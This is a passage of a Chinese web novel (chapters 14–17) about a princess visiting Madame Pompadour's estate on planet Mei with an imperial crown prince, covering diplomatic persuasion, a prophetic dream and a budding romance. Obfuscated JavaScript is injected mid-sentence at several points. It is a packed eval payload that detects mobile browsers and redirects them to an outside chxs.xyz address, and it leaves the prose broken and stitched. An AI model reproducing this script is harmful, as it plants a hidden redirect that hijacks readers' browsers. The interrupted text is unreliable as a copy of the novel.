“皇储殿下很少到这里来,哪次来都忙得很,匆匆就走了。今天是托殿下的福,我这里也蓬荜生辉了。”蓬帕杜夫人撑开一小把折扇,笑的时候略微遮住下半张脸,眉眼弯弯。 林沅注意到她青葱般的十指末端仔细涂染了鲜艳的正红,上面还画了一点白色的玫瑰图案。 “夫人的指甲真好看。”林沅表情微带天真,笑着说道。 “这个呀。”蓬帕杜夫人漫不经心地抬起手臂,打量着自己精心养护的左手,“我吩咐人在后面的园子里种出了一些洛丽玛丝玫瑰,实在满意得很,便忍不住把它们画在指甲上了。” “我听说两位殿下正是相逢于罗勒斯号,想必也见过那里的白玫瑰吧。” 说话间几人便走进了别墅的大门。林沅原本以为,既然外面是田园牧歌般的风光,别墅内大概也是田园一样诗情画意的静谧,没想到甫一进门,便被眼前金碧辉煌的热闹景象震惊到。 说是别墅,这里其实更接近一个小型的城堡。整个大厅光彩夺目,不知是用金箔做装饰,还是内外纯金的材料,让明晃晃的金黄色从四周家具一直铺展到头顶。天花板上绘制着富丽堂皇、色彩鲜艳的油画图案,巨大的水晶吊灯从十几米高的顶端向下延伸,几乎垂落到瑰丽繁复的地毯上。 一个小型的乐队在大厅中欢快地演奏。几对男女在辉煌的灯光下,热烈地跳着交谊的舞蹈。 夫人带着他们走到角落里,稍微安静一些的沙发处。偶尔有几个年轻人过来打声招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这些年,猎盟的势力极速扩张,已经开始不断寻求让自己站上宇宙政治舞台的渠道了。”威廉在她身边解释道,似乎并不避讳让蓬帕杜夫人知道他的态度。 “您好像……不太喜欢他?”林沅轻声问。 威廉轻轻笑了:“直觉吧……我不喜欢一些气场不和的人。没关系,我对他的态度不影响银河联盟与猎盟的关系。你也不必因为我的喜好而去犹豫与猎盟的接触。” “只是请务必谨慎。”他想了想,又补充道,“我不觉得这样一个心机深沉、极速扩张的体系,是一个好的交易对象。” 他似乎话里有话。林沅注意到蓬帕杜夫人一边聆听,一边轻轻摇着扇子,好像在思考什么,神情有些心不在焉。 等蓬帕杜夫人起身去后厨检查晚宴制备情况时,林沅观察了周围,确认没有其他人。她好奇地问威廉:“夫人好像有心事?” 14.第 14 章 说客 “大概是在犹豫要不要继续与猎盟站在一起吧。”威廉微微向林沅的方向倾身,低声解释道。 “与猎盟……继续站在一起?”林沅有些疑惑。 “梅星只是猎盟的初级会员,并不是正式的成员。但在过去的三年间,梅星享受了猎盟军队的庇佑,同时也缴纳了大量的赋税。如今是他们合约到期的时候,蓬帕杜夫人在犹豫。”威廉详细地分析道。 林沅了然:“所以说,您来到这里的目的,也绝不是‘度假’那么简单,对吗?” 威廉脸上带着微不可察的笑意:“阿沅很敏锐。只是别再对我用敬词了,可以吗?算是一个小小的请求。” 林沅只觉得这是在转移话题,并不想遂他的意:“那么,带我到这里来,恐怕也不仅仅是游玩了吧?” “什么都逃不过阿沅的眼睛。”威廉像哄小孩子一样,没什么感情地夸奖道。 林沅在心里对他翻白眼,表情却不动声色:“是需要我做什么呢?还请早一点讲,毕竟我不是那么聪明敏锐,恐怕会误了你的事。” “我请阿沅来做说客,可以吗?” 威廉的话音刚落,林沅便注意到蓬帕杜夫人向沙发这边走来了。她急忙稍微挪了挪位置,尽量不跟威廉靠那么近。 “怎么我一来,你们就不肯凑在一起讲小话了呢?”蓬帕杜夫人身姿婀娜,脸上带着些和善的嗔怪,看起来似乎很遗憾。 林沅站起来主动轻轻挽着她的胳膊,娇憨地笑道:“因为我突然想起来,我给您带了一点惊喜,还放在飞船上呢。原本应该一下飞船就送给您的,真是太失礼了。” “怎么会?这是我的荣幸。”蓬帕杜夫人笑意盈盈地看着她。 “离晚宴大概还有些时间吧?我现在去取给您。”林沅表现得非常雀跃,她猜测这样年纪的女士会更喜欢热情的小辈。 “何必劳烦殿下?我让管家或者哪个小机器人过去就好了。现在外面天黑了,你一个人出去,我怎么能放心呢?” 林沅婉拒了。她解释的借口是这个礼物有些简单,却很脆弱,不希望别人碰坏了她的心意。 蓬帕杜夫人拗不过她,叹了口气:“那我也一起去吧,正好带你去散散心。” 那样再好不过了。林沅应承下来。 她挽着蓬帕杜夫人便向外走。路过威廉,他正想起身,便被林沅一把按下:“女士时间,你就不许参与了。” 威廉任林沅走向大门,仅剩几步路时,却突然喊住她。林沅歉疚地看了一眼夫人,在她眼神的鼓励下向威廉的方向走了几步,威廉也到了她身边来。 “外面天凉,批上披肩吧。”威廉显得稍稍有些僵硬,给林沅披上披肩的动作做得一身正气,恍惚让她以为自己身披国旗。 “说客的事,还是得拜托阿沅。”威廉微微俯下身用一枚珍珠胸针把披肩别好,附在林沅耳边轻声说道。 “什么说客,没有详细的解释,我可什么都不知道。”不知是不是越来越熟悉了的缘故,林沅突然玩心大起,冲他狡黠地眨眨眼睛。 威廉只是微笑:“我不太会说话。拜托阿沅帮忙了。” 林沅忍不住在心底吐槽,你不太会说话,那在我毕业典礼上脱稿演讲侃侃而谈的人是谁? 威廉听不见她心底的声音,只是抬起头,满意地看着自己别好的披肩:“去吧,别让夫人久等了。” 林沅转身走回蓬帕杜夫人身边,立刻便被她调侃道:“霍恩海姆殿下真是的,这样舍不得,一起来不就好了。” 林沅笑着贴向她:“咱们出去散步,他跟来多没意思。” 庄园的夜晚让林沅想起小时候曾经在地球乡下度过的时光。泼墨的夜空中繁星闪烁,微光照亮无边无际的草坪,延伸到视线尽头的群山。虫声窸窣,衬得广袤的大地寂静又安宁。 “这里真美。”林沅挽着蓬帕杜夫人,忍不住深深嗅了一下空气中草坪的清香,混着夫人身上玫瑰的芬芳,格外沁人心脾。 “这里算什么,屋子后面才好看呢。我让人种了大片白色的洛丽玛丝玫瑰,还栽了一棵苹果树,树下挖好了一方池塘,里面养了几条锦鲤,全都吃的圆滚滚的。明天等你睡醒,一定得带你去看看,白天阳光晴好的时候最美了。”蓬帕杜夫人谈论起自己的庄园,显得非常自豪。 林沅笑着答应下来。说话间他们走到了飞船处,守卫的飞行机器人扫描了林沅的脸,驾驶室的军人打开舷窗:“殿下?” “麻烦开下门,我有东西落在上面了。”林沅仰头解释道。 很快她抱着一个纸盒子出来,迫不及待地打开给蓬帕杜夫人看。里面竟然是两个培养罐,一罐里面是刚刚破茧的蝴蝶,另一罐是三四个结好的茧。 “天哪,梅星还没有培育出过蝴蝶。”蓬帕杜夫人惊喜地接过盒子,“它真的……太美了。” “谢谢你,殿下。这个礼物我非常喜欢。”她细细看了好一会,才舍得把盒子交给身后随行的侍女,“我会把它交给科学院的人。来年殿下再肯赏光驾临的时候,也许就能看到洛丽玛丝玫瑰丛中,蝴蝶飞来飞去了。” 林沅想象了一下那样的美景,也觉得很让人向往:“能让夫人开心就好。来年倘若有幸,我一定给您带来更多可培育的生物。” “说来也真是幸运。”她接着补充道,“我和弟弟的飞行器遭到袭击,导航系统严重受损,现在还锁在帝国的飞船里,一时半会怕是修不好了。没想到这两个玻璃罐子倒挺结实,果然是跟梅星有缘。” 蓬帕杜夫人轻轻叹了口气:“两位殿下平安就好。如今时局……的确不太安定。连星盗都这样猖狂。” “现在不必担心啦。”林沅侧头笑着安慰她,似乎想要缓解略带焦虑和忧愁的氛围,“霍恩海姆殿下把那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656096|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星盗都解决了。经此一役,要是还有人想在边境继续威胁帝国的安全,可得好好掂量一下自己的斤两了。” “明年我就去星际帝国的康伦大学读天体物理学研究生了。”林沅突然转身,背对着行进的方向,一点点笑着往后退。蓬帕杜夫人怕她摔跤,赶忙牵着她的手,心里只觉得自己被这样年轻热情的活力感染了。 林沅继续笑着说道:“康伦有很多星际合作的项目,到时候与卡兹学院的学科合作,恐怕还得拜托夫人给我们行方便呢。我在联盟上学的时候,就听说梅星卡兹学院的物理学可是宇宙顶级的,大家争着想来卡兹交流,都排不上队。” 蓬帕杜夫人笑着应下。 林沅轻盈地转了一圈,调转方向继续往前走,仍然牵着蓬帕杜夫人的一只手,没有放开。 其实她哪里了解什么卡兹学院。都是出发之前林深说怕她丢人,非要给她科普的。林沅非常怀疑等林深以后有了妻子,蜜月旅行项目恐怕会是“打卡宇宙名校及其重点建设学科”。 “拥有这样一颗美丽的星球,夫人您的人生,真是太让人羡慕了。”林沅感叹道。 除了那些住在铁笼子一样的居民区的人。林沅心想。她猜测也许这些所谓的猎盟成员都是这样的发展模式,甚至更没人性。正应了之前林深告诉她的,星球主怎么可能会缺少“人”这种最廉价的资源。 用科技掌控星球,用人力获取财富,用财富换取保护。然后躺在金山银山上安享人生。原来千年一瞬,人类和几乎永恒的宇宙,其实都没怎么变过。 此时此刻,她只能庆幸。虽然严格来讲自己似乎也是要被唾弃的那种人,而且如果无法走出命运的怪圈,将来很可能也注定要被钉上历史的耻辱柱,但至少联盟统一党仍然还有人在为了银河联盟人民的幸福奔波。 她实在没有兴趣为银河联盟争取蓬帕杜夫人这样的人。蓬帕杜夫人恐怕也不会对加入银河联盟有任何想法。作为一个奉行“大政府”的政体,银河联盟绝不可能允许有星球主这样的存在,最多只有委任的行政官,譬如林慕。 而对于急于吞并的猎盟,和名下众多联邦国的星际帝国来说,梅星则是必然要争取的对象。不知是试探还是信任,他似乎希望林沅帮助他说服蓬帕杜夫人放弃猎盟,投入帝国的怀抱。这也就是威廉所谓的“说客”。 我可已经仁至义尽了。林沅心想。 对于“猎盟”和“亨特兰”这两个根本不曾在剧本中出现的名字,林沅有一种本能的警惕。但这不代表她必须倒向星际帝国。这两个野心勃勃的势力,其实本质上没有太大的区别。威廉所谓的不喜欢猎盟,大概是同类相斥。 一个暴君,必然排斥一个野心家。 但对于未来,她心里偶尔也会有着说不出的迷茫。她真的能在将来波诡云谲的政治斗争,以及血腥残酷的割据战争中,独善其身吗? 15.第 15 章 杀机 也许是白天受惊的影响还没有完全消退,躺在别墅客房柔软的床榻上,林沅又做梦了。 她现在已经发展到习惯了自己的梦境,甚至开始好奇又要发生什么。左右不过是剧本中的剧情,只是细节更加丰富,弥补了她对原剧情几乎快要模糊的印象。 可能是习惯了的缘故。这一次的梦境,她感觉自己心态格外的平和,身上也没有什么不舒服的地方。 视线仿佛是在高空中极速飞行。她俯身望去,一片片灯火通明的城市中,似乎能看见生活得富足且安康的人们,正在享受宁静的夏夜。 随着飞行距离的增加,眼前的景象越来越熟悉,林沅突然明白,这次的梦境竟然是在赫斯塔星,大公官邸的附近。 她的身体突然下坠。再次睁眼,大公官邸的景象展开在眼前。 赫斯塔大公似乎并不在家中,大公夫人正坐在客厅中央的沙发上,揽着怀里泣不成声的女儿。 “倘若辐射实验是不可避免的结局,那么我们也绝不惧怕与帝国开战。”眼泪从舒晏往日平静沉着的双眼中不断滚落,“这不是你的错,好孩子,不要自责。” “对不起……妈妈。”扑在大公夫人怀里的“林沅”声音已然嘶哑,“倘若这么多年我不是只顾着自己所谓的情爱,而愿意在帝国经营权势和心腹,至少我应该在一切不可挽回之前,就知道这件事。” 她抬起头,试图抹去母亲的眼泪:“或者至少……至少我不应该盲目地嫁给他。” 舒晏却摇摇头:“不是的,孩子。帝国对扩张的野心,早不是一日两日。他想把你作为吞并联盟的棋子,也绝不是临时起意。我和你父亲,怎么可能不去责怪挥刀的棋手,而选择责怪你呢?” “林沅”紧紧抱住母亲,再也忍不住放声痛哭。无限的痛与悔夹杂其中,让在梦境旁听的林沅也忍不住心中哀痛。 视线一转。上次在梦中见到的哥特式城堡,再次出现在眼前。林沅已经明白,这就是位于星际帝国首都星的皇宫——宸宫。 此时熊熊大火将辉煌巍峨的建筑包裹其中,四处是凄厉的呼喊,仿佛地狱之门洞开,魔鬼降临人间。 她的身体轻松越过重重火焰和滚滚浓烟,进入城堡中。仍然一丝不苟地穿着一身帝国军装的威廉·霍恩海姆,正沉默地站在视野中央。而在他的对面,头发凌乱、一身狼狈的“林沅”被两边的军官押着,跪在他面前。她的表情冷漠,与之前的懦弱判若两人。 威廉抬手看了眼手里的东西,轻松捏碎:“你这是要来杀了我吗……皇后?” “既然已经离婚,就请称呼我的名字吧。”跪在地上的“林沅”不卑不亢地回答道。 “可惜。”威廉竟然笑了,“反叛军可能不会管这些。” 他不再理会“林沅”,接过下属递来的武器,转身大踏步向外走去:“带殿下从后边突围,不论谁阻拦你们,格杀勿论。” 画面突然全部模糊,仿佛一阵飓风将林沅裹紧在天旋地转的世界,她在梦里被眩晕到想要呕吐。 等到视野逐渐清晰的最后,她发现自己跪在湿漉漉的泥土上,一些身着帝国军装的士兵把她的头颅死死地按在地上。不远处,原本要带她突围的守卫已经被尽数杀害,争着空洞的眼睛望向狼狈的皇后。 仅有的视线中,昔日繁华的城堡被夷为平地。属于星际帝国的四色旗已经悄然落下,新的旗帜缓缓升起。只是不知为什么,不管林沅怎么努力,都看不清新旗帜的图案,仿佛梦境单独为它打上了马赛克。 她听见一声枪响。逐渐模糊的视线尽头,白鸽振翅飞翔。 又是一阵眩晕。在梦境即将被撕碎的瞬间,现实中的林沅终于睁开了眼睛。 她突然从床上坐起,缓了很久才减轻一点那种天旋地转的眩晕感。 梅星的夜晚微微有些凉意。借着窗外点点星光,洛可可风的装饰显得整个屋子柔和而静谧。逐渐平复的林沅慢慢减缓原本极速的喘息,她轻轻向后捋了一下额发,感觉抹到许多冷汗。 她又抚了一把脸颊。不出所料,又是满脸的眼泪。 “威廉·霍恩海姆……”她喃喃地念着这个名字。一切罪恶和爱恨的开端,一切麻烦和不幸的根源。林沅突然觉得心底有股无名的火气极速升起,带着要把一切燎尽的愤怒,想要烧尽折磨了自己将近一年的无助和迷茫。 她穿着长长的白色睡裙起身,在自己随身的小手包中翻找了半天,又忍不住在屋子里翻箱倒柜,终于在一个老旧的工具箱里,找到一把多功能的小锥子。 林沅忍不住在手上试了试。不太尖锐,但大力戳下去,估计弄个血肉模糊也是不成问题的。 其实她心里明白这样非常可笑。但还是忍不住把小锥子藏在衣袖中,轻轻推开门,悄无声息地走了出去。 在后半夜极度安静的庄园别墅中,林沅像一个孤魂在游荡。 负责安保的小机器人看见了她,扫描后没有出声,只是在屏幕上显示:“需要帮忙吗,殿下?” 林沅缓了缓摇了摇头,对着夜间模式的小机器人比了一个噤声的动作,它也就顺从地退下了。 林沅知道威廉的房间就在二楼长廊的另一端。其实她根本不知道自己想干什么,一锥子把他戳死?未免太可笑了。 但就像是梦游一样,她忍不住一步步向威廉的房间挪过去,每迈一步,眼泪就不自觉地从眼眶中滚落。 最后在她几乎忍不住要跌倒在地上的瞬间,一个有力的手臂突然拽住了她拿着锥子的右手,并在林沅发出尖叫前轻轻捂住她的嘴,一把将她拉进自己的房间。 在关上门后的瞬间,林沅靠在门上本能地挣开右手,向眼前的人刺去。 在锥尖离这个人还有不到一公分的距离时,借着窗外的微光,她突然意识到眼前的人是谁。 “你疯了?”林沅低声斥责道。 “我看是你疯了。”林深的语气非常冷漠,似乎不带任何感情。 林沅讪讪地放下胳膊,锥子“叮当”一声,轻轻滚落在地面上。 林深也松开了她,弯腰捡起锥子,转身坐在了窗边的椅子上:“你是希望星际帝国失去皇储对银河联盟开战,还是希望银河联盟失去一个可以打入帝国内部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她突然抬起头向门边走了几步,背对着林深,不想让眼泪再掉下来:“从罗勒斯号的舞会到现在,我总算想明白了,你明明就一直有事情瞒着我。你什么都知道,可是却什么都不肯说。我始终在这个世界上孤立无援。每个人都想要我正视命运,哪怕这样做只是推着巨石的西西弗斯。” 她忍住了眼泪,转身回头望着林深:“我就活该这么可笑吗,林深?” 林深沉默了一会,站起身向她走来。 他有些踟蹰地轻轻牵起林沅的手:“也许这样解释听着像狡辩,但是姐姐,所有我能让你知道的事情,在我的能力范围内,早已经全数告诉你了。” “让你这么伤心……对不起。”他的声音也充满了悲伤。 他试图对林沅许下承诺:“请相信我。你只需要在星际帝国站稳脚跟,其他的事都交给我。我保证……” 林沅看着他,心里说不清是失望还是绝望。 梅星夜晚的星光下,两个不能确定未来走向何方的孤魂,隔着时间和记忆长河无声对望。 命运前路,百孔千疮。 16.第 16 章 情诗 清晨的庄园,鸟鸣啁啾。 林深很早便匆匆忙忙地离开了,说是收到了卡兹学院某位教授的私人邀请。林沅独自撑着头有些无精打采地坐在餐桌旁。墨色长发及腰,背影清丽温婉。 整个餐厅的风格,延续了与客房洛可可风同样的宁静柔和,避免了太多金箔和雕刻的元素,淡蓝色的丝绸窗帘微微鼓动,濛濛细雨随风扫进室内。智能生活系统感应到下雨,自动把窗户缓缓关上。 “哎呀,我真是糊涂了,忘了嘱咐他们把‘伦敦天气模式’关掉。”蓬帕杜夫人走过来,亲手端着一杯热牛奶递给林沅,有些懊恼地说道,“这个早晨怕是只能让你们在室内玩一会儿了。” “没关系,正好这屋子里我也很喜欢,还没有逛完呢。”林沅笑着安慰她。 蓬帕杜夫人慈爱地看着她品了一下牛奶的温度,关心道:“亲爱的,我感觉你的脸色不太好。是昨晚没睡好吗,要不要给你换一个房间?” 林沅赶忙摇头,表示自己只是昨天的惊吓还没有缓解。蓬帕杜夫人却仍然不太放心:“如果哪里不舒服,一定要跟我说。” 林沅点头应下。 两人正说着话,威廉·霍恩海姆和安德鲁·亨特兰竟然前后脚进了餐厅。林沅有些惊讶,仔细观察他俩的脸色。 威廉一如既往地肃穆,腰带在整肃的军装上勾勒出一截恰到好处的腰身,铁灰色的发丝松散,湛蓝的眼睛寂静如水。 而安德鲁还是那副玩世不恭、天地不入眼的纨绔架势。他把衬衫领口半敞开,外面套了件半旧的夹克,看起来有点像个牛仔。 还好。林沅心想。看起来不像是打了一架。 她神色有些复杂地看着威廉出神,不由自主地想起来昨晚发生的一切。 安德鲁眼神一瞥,忍不住嚷嚷道:“公主殿下,我是来吃早饭,不是来吃狗粮的。” 林沅正在神游,听到这句话,脸颊立刻就有些红了,一时没反应过来该如何怼他。 威廉走到她身边,隔绝了其他人的视线。他实在太高了,林沅只能仰头去打招呼。 威廉微微观察了一会,有些担忧地说道:“你的脸色不太好,阿沅。我让医疗机器人……” “不必了……威廉!”林沅赶忙拒绝,“我没事,一会儿就好了。” 威廉流露出不太赞同的神情。林沅想要给他拉开身边的椅子,威廉伸手轻轻按在了她的衣袖上,摇了摇头:“我要出去一趟,一会儿就回来。” 他又不太放心地看了林沅一眼,指了指自己手腕上的通讯:“不舒服的话,一定要告诉我。” 林沅敷衍地点点头,看着他一步三回头地走了。 她心里有些空洞洞的,忍不住又出了神。不知道威廉·霍恩海姆这个人,演技怎么可以好成这样。如果什么都不知道的话,怎么可能不被骗地团团转呢? 一上午的时间很快就过去了。蓬帕杜夫人带着林沅和其他客人玩了会纸牌和桌球,百无聊赖地等着雨停。但一直等到夫人招呼他们吃完了午饭,外面都还是雾雨濛濛的。 “真是的,不知道气象院那些人在做什么,我都发了好几条通讯了。”蓬帕杜夫人肉眼可见的有些生气,她一边套上挡风的外衣,一边吩咐仆人帮她开一架飞船。 她嘱咐林沅:“我亲自去一趟看看,不能让你们在这白等着,太过分了。亲爱的,你如果困了就回房间休息,不困就再玩一会,我很快回来。”她俯下身和林沅亲昵地贴了贴脸颊。 其他客人们玩了一会,陆陆续续都回房间休息了。林沅百无聊赖地等了一会,等到人几乎全都走光了,威廉没回来,蓬帕杜夫人也没回来,连安德鲁都不见了。 她心里隐隐有了些猜想,慢慢踱步到了封闭的阳台上,望着外面逐渐放晴的天空。 “打开窗户吧,莉莉。”一个男声突然在林沅身后呼唤智能家居系统的名字,把她吓了一跳。 一回头,竟然是猎盟的安德鲁·亨特兰。 她向他身后更远处望去,仍然不见威廉和蓬帕杜夫人的身影。 安德鲁不太有所谓地耸耸肩:“似乎是我要失败喽。” 林沅沉默了一会,眼神带着纯净的担忧:“您在说什么呀,先生?” “没事。”安德鲁神情莫测地看了她一眼,笑着把两手别在脑后,靠着墙面,安适地望着窗外。雨后初晴,天幕设计出的模拟阳光照彻连绵的阴云。 天光乍破,流霞轻淌。 两个人沉默地待了一会。安德鲁似乎感觉有些没意思,跃跃欲试地提议道:“殿下会调酒吗?我知道夫人餐厅的酒柜里有不少好酒。” “调酒?”林沅有些新奇地望着他,“如果只是把酒液简单地倒进去……那我应该是会的。” 安德鲁笑得十分开怀:“来吧。闲着也是无聊,我教您调酒。” 蓬帕杜夫人回来的时候,看到的就是这样一副景象:餐厅的桌面上,横七竖八都是被安德鲁打开的酒瓶,围绕在四周。林沅在他对面,只打开了两三个小瓶子,一边听安德鲁指挥,一边谨慎地操作眼前的雪克杯。 她注意到蓬帕杜夫人走进来了,十分不好意思地站起来打招呼。然后似乎刚看到安德鲁那边的“盛况”,险些两眼一黑。 “夫人,您不介意吧?就当我收点跑腿费了,不然可不是白来一趟。”安德鲁敞开双臂靠在椅子上,翘着二郎腿,随手挑了个瓶子又往嘴里灌了一口。 蓬帕杜夫人笑着说:“千金难买开心,一点酒算什么。地窖里有的是,我让机器人再去搬一些上来。” 安德鲁摆了摆手:“那倒也不用了,不然再多浪费几瓶,殿下该不敢继续调酒了。” 蓬帕杜夫人注意到林沅仍然不好意思地望着她,优雅地走过去,笑着安抚道:“殿下,你在这里,整个别墅烧着给你玩也不怕。不用去可惜这些东西。让我看看你们调了什么,可以吗?” 林沅把自己调好的酒递给她看,观察到蓬帕杜夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蓬帕杜夫人赶忙挽着她:“好啦,殿下。一点酒而已,真没什么的。你放心,我就算哪天破产了,上门讨要酒水单子,也肯定先去猎盟。” 林沅忍不住笑了。蓬帕杜夫人继续说道:“现在天终于放晴了,不过我猜你也有点累了。先去休息一会,傍晚我喊你们一起去逛逛后面的花园。” 林沅顺从地回到了自己的房间。她正想躺下休息一会,突然响起了规律的敲门声。打开门,一个小机器人便不由分说地举着托盘进了房间,把整个托盘放到了床头的桌子上,然后就不声不响地走开,还不忘帮林沅把门带上。 林沅走过去,看到盘子里是一杯分了三层的酒,最底下用澄澈的玫瑰红色打底,中间是冰蓝色的起泡酒,最上面是一层白色封层。 杯子旁边的卡片上,是一行飘逸隽秀的英文。 You are the light at the end of my tunnel. 17.第 17 章 心动 林沅没有去动那杯酒,只是把卡片仔细地收进手包里。 她迷迷糊糊地睡下,大约四五点钟时被蓬帕杜夫人的敲门声叫醒。 夕阳还未落山,弥漫的火烧云蹁跹万里。 客人们都在庄园主人的引领下来到后花园。林沅在这里,再次见到了如海浪般延绵不绝的白色洛丽玛丝玫瑰花丛。 这里的玫瑰比罗勒斯号上见到的要小一些,却是一样的芬芳四溢。 林沅恰好穿着白色的连衣长裙,戴着草编的遮阳渔夫帽,只在腰间和帽檐上方系了细窄的水蓝色丝绸做装饰,整个人和白色的玫瑰丛几乎融为一体。 她站在花丛中,安静地闭上眼睛,深深汲取着空气中的花香,觉得心里似乎格外安宁。 也许前路仍然危机四伏,但是此时此刻,世界寂静得仿佛只剩下鲜花与微风,足以把人心中的浮躁都尽数溺毙。 ——直到身后传来脚步声。 她回过头。威廉·霍恩海姆穿着一身深灰绿色的军装向这边走来。他的腰间仍然一丝不苟地束着黑色腰带,灰底金鸢尾花的领章在夕阳的反射下熠熠生辉。 他背着光线照来的方向在林沅面前站定。远处苹果树上挂满了尚未完全成熟的果实,树下肥硕的锦鲤游来游去。林沅仰起头,有些看不清他的脸。 突然一阵微风拂过,扫落零星几片玫瑰花瓣。柔软的白色像起舞的精灵,温和地掠过威廉的侧脸,短暂停留了几秒。平时总是平静但锐利的蓝色瞳孔,在花瓣的侵扰下流露出了短暂的迷茫。 林沅鬼使神差地伸出手去,似乎想要帮他拂去脸上的花瓣。 白色的精灵却很快随风跳跃去了远方,只剩下即将抚上威廉眼睫的纤细手指。 林沅尴尬地收起踮起的脚尖,想要放下手臂,伸出的右手却被一个温暖的大手握在掌心。威廉没有戴军装配套的手套,林沅似乎触碰到了手指关节粗砺的枪茧。 威廉放低了手臂,却仍然轻握着林沅的手心。 “陪我走走吧,阿沅。”风中的花香似乎把声音吹拂地格外温柔。林沅点了点头,沉默地走在他身侧。 “还没有恭喜您,梅星恐怕马上就要成为星际帝国的成员国了吧?”林沅轻声问道。 威廉笑着看向她:“阿沅太敏锐了,什么都瞒不过你。多亏了有你帮我做‘说客’。” 林沅自嘲地摇摇头:“我可什么都没做。” “怎么会呢?”威廉解释道,“蓬帕杜夫人告诉我,能够让她在天平之中倾向于帝国,绝大部分的砝码都来自赫斯塔的公主殿下。” “阿沅,多谢你,愿意帮我、帮帝国说情。”他一瞬不瞬地望着林沅,看起来非常诚恳。 林沅也不易察觉地笑了一下:“那么,我可就不客气地认下这份功劳了。” “请问‘说客’会有奖励吗,殿下?”她睁着一双澄澈如水的杏眼,回望向威廉。 威廉笑着点头应下。 林沅思考了一会,才抬起头继续谨慎地问道:“您能为我许下什么样的承诺并兑现呢?” “只要你想。只要帝国能做到。”威廉也专注地回望她,非常认真地回答。 “那么。”林沅沉吟了半晌,“我要赫斯塔对梅星的优先贸易权和边界行政许可。这样不过分吧,殿下?” 威廉点点头,追问道:“你不想我为联盟许下一点承诺吗,阿沅?” “赫斯塔只想做点小生意。至于联盟,我应该还没有那么大的面子。这要看殿下的诚意了。”她答道。 威廉觉得眼前的人好像一只在满地碎瓷中优雅谨慎、从容不迫穿行的小猫。他认真地承诺道:“我会与联盟的总理事商议这件事。毕竟这里是三国边界。” “那您也许了猎盟不小的承诺吧?” “这是自然。”威廉轻轻叹了口气。 林沅轻轻摇了摇头,笑着说:“那个家伙,一看就很难缠。一般的让步,他恐怕不会善罢甘休,非得把生意做得两败俱伤不可。” “只要把梅星纳入帝国的版图,不管猎盟的人愿不愿意,这里的任何事务,都不是他们能够置喙的了。”威廉湛蓝色的瞳孔闪过一点锐利。 林沅抬头看去。夕阳给他轮廓分明、鼻梁高挺的侧脸描上一层柔和的金线,像一道禁咒,却圈不住他熊熊燃烧的野心。 “这算违反了不对外扩张协定吗,殿下?”林沅突然意识到这个问题,不假思索地问道。 “协议的不对外扩张指的是战争,亲爱的。”威廉很温和地看着她,“梅星是主动寻求加入星际帝国的,我总不能在风雪天拒绝一个问路的无辜旅人吧?” 林沅了然地点点头,却仍然有些尖锐地继续发问:“那么,因为不对外扩张协定的存在,帝国永远不会主动对外使用武力吗?” 威廉不假思索地答道:“当然。只要不是可以使用武力的特殊条件。譬如他国挑起的战争,或者是灭绝人性的恐怖主义等。换句话说,我们不会用武力寻求现有领土的扩张,但也不惧怕用武力瓦解所有试图损害帝国的阴谋。” “殿下——”她牵着威廉的手站定,仰头看过去,忍不住自己心中逐渐升起的迷茫,“您会背弃自己的誓言吗?” “只要是我承诺的,我愿意用我的生命去兑现。”威廉并没有嘲笑林沅突如其来的奇怪问题,反而非常认真地看着她那双墨中带着点深褐的美丽眼瞳。 “千百年前,银河联盟与星际帝国曾在赫斯塔星共同立下盟誓:从此联盟与帝国将共同守护全人类的荣耀与幸福,终止一切贫穷与杀戮。愿举世界之力,凡人类有所踏足的星辰,皆要建成永远和平、安定、无灾无痛的伊甸园。” 威廉沉着坚定的声音和梦中的嗓音逐渐重叠,林沅仿佛被一击重锤狠狠敲向脑海,心脏狠狠撕裂,灌进夹杂着霜雪的凌厉寒风。 她瞪大了眼睛看着眼前年轻俊朗的军人,却想起了在梦中,两人最后诀别的、熊熊火海包围下的宸宫。那时候的他更加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她感觉心里格外的宁静。 这样很好。她想。倘若能让我埋在这颗树下,来年秋天,变成一个甜丝丝的苹果,似乎也很不错。 什么命运,不就不存在了吗。 远处好像有脚步声传来。林沅只感觉自己的身体特别沉重。不想抬起头来。 也许我不理这个人,他自己就会走了。林沅心想。毕竟我现在看起来这么怪异。 但她没能继续想下去。一双带着热气的手,把一件风衣外套罩在她身上,打断了她的思绪。困扰了她许久的声音又在耳边响起,简直堪称阴魂不散。 